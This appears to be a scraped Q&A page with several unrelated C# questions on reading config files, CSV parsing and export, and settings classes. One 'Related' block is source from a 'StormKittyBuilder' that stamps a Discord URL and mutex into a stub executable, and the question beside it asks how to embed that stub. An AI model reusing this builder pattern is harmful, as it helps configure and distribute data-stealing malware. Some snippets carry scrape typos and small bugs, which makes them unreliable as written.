I have no idea how to load variables from the config that I create.
My config looks like:
test1 "2.0"
test2 "3.0"
that's my save code:
public static void Save(string filename)
{
using (var st = System.IO.File.CreateText(filename))
{
foreach (var xx in testList.Values)
{
st.WriteLine("{0} \"{1}\"", xx.gName, xx.Value);
}
}
Debug.Log("Saved: " + filename);
}
I need to assign a variable from the code to the variable that is in the config, any idea?
File.ReadLines(filename) would give you an IEnumerable<string> with each key/value pair, and then string.split would allow you to separate the key and value.
For example
public static Dictionary<string, string> Load(string filename)
{
var config = new Dictionary<string, string>();
foreach(string kvp in File.ReadLines(filename))
{
var parts = kvp.split(" ");
config.Add(parts[0], parts[1].Replace("\"", ""););
}
return config;
}
Related
`using Mono.Cecil; using Mono.Cecil.Cil;
using System; using System.Linq; using System.Collections.Generic;
namespace StormKittyBuilder {
internal sealed class build
{
private static Random random = new Random();
private static string RandomString(int length)
{
const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
return new string(Enumerable.Repeat(chars, length)
.Select(s => s[random.Next(s.Length)]).ToArray());
}
public static Dictionary<string, string> ConfigValues = new Dictionary<string, string>
{
{ "Discord url", "" },
{ "Mutex", RandomString(20) },
};
// Read stub
private static AssemblyDefinition ReadStub()
{
return AssemblyDefinition.ReadAssembly("stub\\stub.exe");
}
// Write stub
private static void WriteStub(AssemblyDefinition definition, string filename)
{
definition.Write(filename);
}
// Replace values in config
private static string ReplaceConfigParams(string value)
{
foreach (KeyValuePair<string, string> config in ConfigValues)
if (value.Equals($"--- {config.Key} ---"))
return config.Value;
return value;
}
// Проходим по всем классам, строкам и заменяем значения.
public static AssemblyDefinition IterValues(AssemblyDefinition definition)
{
foreach (ModuleDefinition definition2 in definition.Modules)
foreach (TypeDefinition definition3 in definition2.Types)
if (definition3.Name.Equals("Config"))
foreach (MethodDefinition definition4 in definition3.Methods)
if (definition4.IsConstructor && definition4.HasBody)
{
IEnumerator<Instruction> enumerator;
enumerator = definition4.Body.Instructions.GetEnumerator();
while (enumerator.MoveNext())
{
var current = enumerator.Current;
if (current.OpCode.Code == Code.Ldstr & current.Operand is object)
{
string str = current.Operand.ToString();
if (str.StartsWith("---") && str.EndsWith("---"))
current.Operand = ReplaceConfigParams(str);
}
}
}
return definition;
}
public static string BuildStub()
{
var definition = ReadStub();
definition = IterValues(definition);
WriteStub(definition, "bot\\build.exe");
return "bot\\build.exe";
}
} }`
Working on my college project (a discord bot), I want an .exe file
assume named as builder.exe, which can overwrite another .exe - assume named as base.exe - and we get a new .exe named output.exe.
I tried this BUILDER.EXE Github repo to overwrite my base.exe with help of builder.exe created from this repo no doubt it worked but the help I need from the master reading my problem is that I want to embed the base.exe into my builder.exe (to get a single exe file) which can read and over write base.exe and produce output.exe.
In short a single .exe file (embedded with base.exe) which read and overwrites a reference (base.exe) and produces output.exe as final result.
Sounds pretty trivial but I really despair:
How do I import and match a value to a given key in an elegant fast way?
Just telephone area code - finding the matching prefix for a given zone (no multi-user). I have it as CSV but SQLite would be fine, too. SQLite connector? Or Dictionary? I don't know ...
Thank you in advance!
Nico
Simple as that. It's a console application.
Not pretty with the global creation and intialization but I didn't manage to do it across multiple source files by using only just a public class (type "Dictionary" and return this).
Main .cs file:
static class GlobalVar
{
public static Dictionary<string, string> areaCodesDict = new Dictionary<string, string>();
}
Second .cs file:
public class AreaCodes
{
public static void ParseCsv()
{
var path = ConfigurationManager.AppSettings["areaCodesCsv"];
using (var strReader = new StreamReader(path))
{
while (!strReader.EndOfStream)
{
var line = strReader.ReadLine();
if (line == null) { continue; }
var csv = line.Split(Convert.ToChar(ConfigurationManager.AppSettings["areaCodesCsvDelim"]));
// areaCodesDict.Add(key, value)
GlobalVar.areaCodesDict.Add(csv[0], csv[1]);
}
}
}
}
Example usage in Main.cs file again:
if (regexMatch.Success)
{
foreach (KeyValuePair<string, string> pair in GlobalVar.areaCodesDict)
{
if(destNumber.StartsWith(pair.Value))
{
destNumber = destNumber.Replace(pair.Value, pair.Key);
}
}
}
I understand that this question have been asked many times (1, 2 & 3) but I just don't understand how to apply it in my case. I have tried playing around for hours but I cannot get it right.
I have variables in the form of List<string>where each list contain datas that have line breaks between them/multiline data. Then I called an event that would export these datas in a CSV file. Below is my code.
savestate.cs - class where I initialized the variables
public partial class Savestate
{
public static List<string> rtb1_list = new List<string>();
public static List<string> rtb2_list = new List<string>();
public static List<string> rtb3_list = new List<string>();
public static List<string> rtb4_list = new List<string>();
}
Form1.cs - The event
public void Savetocsv()
{
Type s = typeof(Savestate);
FieldInfo[] fields = s.GetFields(BindingFlags.Public | BindingFlags.Static);
StringBuilder csvdata = new StringBuilder();
string header = String.Join(",", fields.Select(f => f.Name).ToArray());
csvdata.AppendLine(header);
string rtb1 = String.Join(",", Savestate.rtb1_list.ToArray());
string rtb2 = String.Join(",", Savestate.rtb2_list.ToArray());
string rtb3 = String.Join(",", Savestate.rtb3_list.ToArray());
string rtb4 = String.Join(",", Savestate.rtb4_list.ToArray());
string newlinestring = string.Format("{0}; {1}; {2}; {3}", rtb1, rtb2, rtb3, rtb4);
csvdata.AppendLine(newlinestring);
string filepath = #"C:\new.csv";
File.WriteAllText(filepath, csvdata.ToString());
}
However when I opened the CSV file, the words are all over the place. For example I wrote hi then a new line then I wrote bye. This is the actual output and this is my intended output.Hope that I can get help.
To insert line breaks in csv file you need to surround string with double quotes, so desired output is generated by following code :
public partial class Savestate
{
public static List<string> rtb1_list = new List<string>() { "hi1", "bye1" };
public static List<string> rtb2_list = new List<string>() { "hi2", "bye2" };
public static List<string> rtb3_list = new List<string>() { "hi3", "bye3" };
public static List<string> rtb4_list = new List<string>() { "hi4", "bye4" };
}
public static void Savetocsv()
{
Type s = typeof(Savestate);
FieldInfo[] fields = s.GetFields(BindingFlags.Public | BindingFlags.Static);
StringBuilder csvdata = new StringBuilder();
string header = String.Join(",", fields.Select(f => f.Name).ToArray());
csvdata.AppendLine(header);
string rtb1 = String.Join("\n", Savestate.rtb1_list.ToArray());
string rtb2 = String.Join("\n", Savestate.rtb2_list.ToArray());
string rtb3 = String.Join("\n", Savestate.rtb3_list.ToArray());
string rtb4 = String.Join("\n", Savestate.rtb4_list.ToArray());
string newlinestring = string.Format("\"{0}\",\" {1}\",\" {2}\",\" {3}\"", #rtb1, #rtb2, #rtb3, #rtb4);
csvdata.AppendLine(newlinestring);
string filepath = #"new.csv";
File.WriteAllText(filepath, csvdata.ToString());
}
Output file:
I suggest using CsvHelper Nuget Package when dealing with CSV, then try doing the following, I added an extension method to print each rtb list as one string:
public partial class Savestate
{
public static List<string> rtb1_list = new List<string>() { "hi", "bye" };
public static List<string> rtb2_list = new List<string>() { "hi", "bye" };
public static List<string> rtb3_list = new List<string>() { "hi", "bye" };
public static List<string> rtb4_list = new List<string>() { "hi", "bye" };
}
public static class SavestateExtensions
{
public static string GetRtbListAsString(this IEnumerable<string> rtb_list)
{
StringBuilder str = new StringBuilder();
foreach (var value in rtb_list)
{
str.AppendLine(value);
}
return str.ToString();
}
}
Then use the CsvWriter from CSVHelper:
using (var writer = new StreamWriter("file.csv"))
{
using (var csvWriter = new CsvWriter(writer))
{
csvWriter.Configuration.Delimiter = ";";
csvWriter.Configuration.Encoding = Encoding.UTF8;
csvWriter.WriteField("rtb1_list ");
csvWriter.WriteField("rtb2_list ");
csvWriter.WriteField("rtb3_list ");
csvWriter.WriteField("rtb4_list ");
csvWriter.NextRecord();
csvWriter.WriteField(Savestate.rtb1_list.GetRtbListAsString());
csvWriter.WriteField(Savestate.rtb2_list.GetRtbListAsString());
csvWriter.WriteField(Savestate.rtb3_list.GetRtbListAsString());
csvWriter.WriteField(Savestate.rtb4_list.GetRtbListAsString());
csvWriter.NextRecord();
}
}
The output should be as the following:
I am currently developing a software that will be used by users that should not be able to access the back-end of it all but should still be able to easily change configuration/settings for the application.
I decided the best approach would be a custom "configuration file (.cfg)" located in the root of the final build.
Simple example of the .cfg file:
serveraddress='10.10.10.10'
serverport='1234'
servertimeout='15000'
Since I wanted the configuration file to easily be extended I decided to use some custom attributes and some simple LINQ.
This does work like I expect it to, but since I am still a novice in .net I am afraid I have not gone with the best approach and my question is therefor:
Is there anything I can do to improve this?
Or is there just generally a better approach for this?
This is my code for reading the configuration file and assigning the values to it's corresponding properties.
ConfigFileHandler.cs
public void ReadConfigFile()
{
var cfgFile = new ConfigFile();
var configLines = File.ReadAllLines("configfile.cfg");
var testList = configLines.Select(line => line.Split('='))
.Select(splitString => new Tuple<string, string>(splitString[0], splitString[1].Replace("'", "")))
.ToList();
foreach (var prop in typeof(ConfigFile).GetProperties())
{
var attrs = (ConfigFileFieldAttribute[])prop.GetCustomAttributes
(typeof(ConfigFileFieldAttribute), false);
foreach (var t in from attr in attrs from t in testList where t.Item1 == attr.Name select t)
{
prop.SetValue(cfgFile, t.Item2);
}
}
}
ConfigFile.cs
class ConfigFile
{
private static string _serverAddress;
private static int _serverPort;
private static int _serverTimeout;
[ConfigFileField(#"serveraddress")]
public string ServerAddress
{
get { return _serverAddress; }
set { _serverAddress= value; }
}
[ConfigFileField(#"serverport")]
public string ServerPort
{
get { return _serverPort.ToString(); }
set { _serverPort= int.Parse(value); }
}
[ConfigFileField(#"servertimeout")]
public string ServerTimeout
{
get { return _serverTimeout.ToString(); }
set { _serverTimeout= int.Parse(value); }
}
}
any tips on writing better looking code would be highly appreciated!
UPDATE:
Thanks for all the feedback.
Below is the final classes!
https://dotnetfiddle.net/bPMnJA for a live example
Please note, this is C# 6.0
ConfigFileHandler.cs
public class ConfigFileHandler
{
public void ReadConfigFile()
{
var configLines = File.ReadAllLines("configfile.cfg");
var configDictionary = configLines.Select(line => line.Split('='))
.Select(splitString => new Tuple<string, string>(splitString[0], splitString[1].Replace("'", "")))
.ToDictionary(kvp => kvp.Item1, kvp => kvp.Item2);
ConfigFile.SetDictionary(configDictionary);
}
}
ConfigFile.cs
public class ConfigFile
{
private static Dictionary<string, string> _configDictionary;
public string ServerAddress => PullValueFromConfig<string>("serveraddress", "10.1.1.10");
public int ServerPort => PullValueFromConfig<int>("serverport", "3306");
public long ServerTimeout => PullValueFromConfig<long>("servertimeout", "");
private static T PullValueFromConfig<T>(string key, string defaultValue)
{
string value;
if (_configDictionary.TryGetValue(key, out value) && value.Length > 0)
return (T) Convert.ChangeType(value, typeof (T));
return (T) Convert.ChangeType(defaultValue, typeof (T));
}
public static void SetDictionary(Dictionary<string, string> configValues)
{
_configDictionary = configValues;
}
}
You could keep the simplicity of your config file and get rid of the nested loops by loading the values into a dictionary and then passing that into your ConfigFile class.
public static void ReadConfigFile()
{
var configLines = File.ReadAllLines("configfile.cfg");
var testList = configLines.Select(line => line.Split('='))
.Select(splitString => new Tuple<string, string>(splitString[0], splitString[1].Replace("'", "")))
.ToDictionary(kvp => kvp.Item1, kvp => kvp.Item2);
var cfgFile = new ConfigFile(testList);
}
The new ConfigFile class:
class ConfigFile
{
private Dictionary<string, string> _configDictionary;
public ConfigFile(Dictionary<string, string> configValues)
{
_configDictionary = configValues;
}
public string ServerAddress
{
get { return PullValueFromConfig("serveraddress", "192.168.1.1"); }
}
public string ServerPort
{
get { return PullValueFromConfig("serverport", "80"); }
}
public string ServerTimeout
{
get { return PullValueFromConfig("servertimeout", "900"); }
}
private string PullValueFromConfig(string key, string defaultValue)
{
string value;
if (_configDictionary.TryGetValue(key, out value))
return value;
return defaultValue;
}
}
I decided to use a custom "configuration file (.cfg)" located in the root of the final build.
Good idea. For cleaner code, you could use JSON and JSON.NET for de/serialization and put the read/write into the ConfigFile class. Here is an example that is live as a fiddle.
The ConfigFile class is responsible for loading and saving itself and uses JSON.NET for de/serialization.
public class ConfigFile
{
private readonly static string path = "somePath.json";
public string ServerAddress { get; set; }
public string ServerPort { get; set; }
public string ServerTimeout { get; set; }
public void Save()
{
var json = JsonConvert.SerializeObject(this, Formatting.Indented);
File.WriteAllText(path, json)
}
public static ConfigFile Load()
{
var json = File.ReadAllText(path);
return JsonConvert.DeserializeObject<ConfigFile>(json);
}
}
Here is how you would use it to load the file, change its properties, and save.
ConfigFile f = ConfigFile.Load();
f.ServerAddress = "0.0.0.0";
f.ServerPort = "8080";
f.ServerTimeout = "400";
f.Save();
We use the .json file extension as a convention. You could still use .cfg because it's just plain text with a specific syntax. The resultant config file content from the above usage is this:
{
"ServerAddress":"0.0.0.0",
"ServerPort":"8080",
"ServerTimeout":"400"
}
You could just tell your clients to "change the numbers only". Your approach is fine, as far as I'm concerned. The above is just a cleaner implementation.
Firstly, I would do what Phil did, and store your testlist in a Dictionary.
var configLines = File.ReadAllLines("configfile.cfg");
var testDict = configLines.Select(line => line.Split('=', 2))
.ToDictionary(s => s[0], s => s[1].Replace("'", ""));
Then you can clean up the property assignment LINQ a bit:
foreach (var prop in typeof(ConfigFile).GetProperties())
{
var attr = prop.GetCustomAttributes(false)
.OfType<ConfigFileFieldAttribute>()
.FirstOrDefault();
string val;
if (attr != null && testDict.TryGetValue(attr.Name, out val))
prop.SetValue(cfgFile, val);
}
You might even be able to call:
var attr = prop.GetCustomAttributes<ConfigFileFieldAttribute>(false).FirstOrDefault();
Don't have an IDE on me so I can't check right now
Is there easier way to convert telerik orm entity list to csv format?
The following simple static class will help you in this task. Note that it will create a .csv file, which contains the values of the entity's properties without taking into account the navigation properties:
public static partial class EntitiesExporter
{
public static void ExportEntityList<T>(string fileLocation, IEnumerable<T> entityList, string seperator = " , ")
{
string content = CreateFileContent<T>(entityList, seperator);
SaveContentToFile(fileLocation, content);
}
private static string CreateFileContent<T>(IEnumerable<T> entityList, string seperator)
{
StringBuilder result = new StringBuilder();
List<PropertyInfo> properties = new List<PropertyInfo>();
foreach (PropertyInfo item in typeof(T).GetProperties())
{
if (item.CanWrite)
{
properties.Add(item);
}
}
foreach (T row in entityList)
{
var values = properties.Select(p => p.GetValue(row, null));
var line = string.Join(seperator, values);
result.AppendLine(line);
}
return result.ToString();
}
private static void SaveContentToFile(string fileLocation, string content)
{
using (StreamWriter writer = File.CreateText(fileLocation))
{
writer.Write(content);
writer.Close();
}
}
}
You can consume the class like this in your code:
using (EntitiesModel dbContext = new EntitiesModel())
{
IQueryable<Category> cats = dbContext.Categories;
string appDir = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location);
string fileLocation = Path.Combine(appDir, "test.csv");
EntitiesExporter.ExportEntityList<Category>(fileLocation, cats);
}
I hope this helps.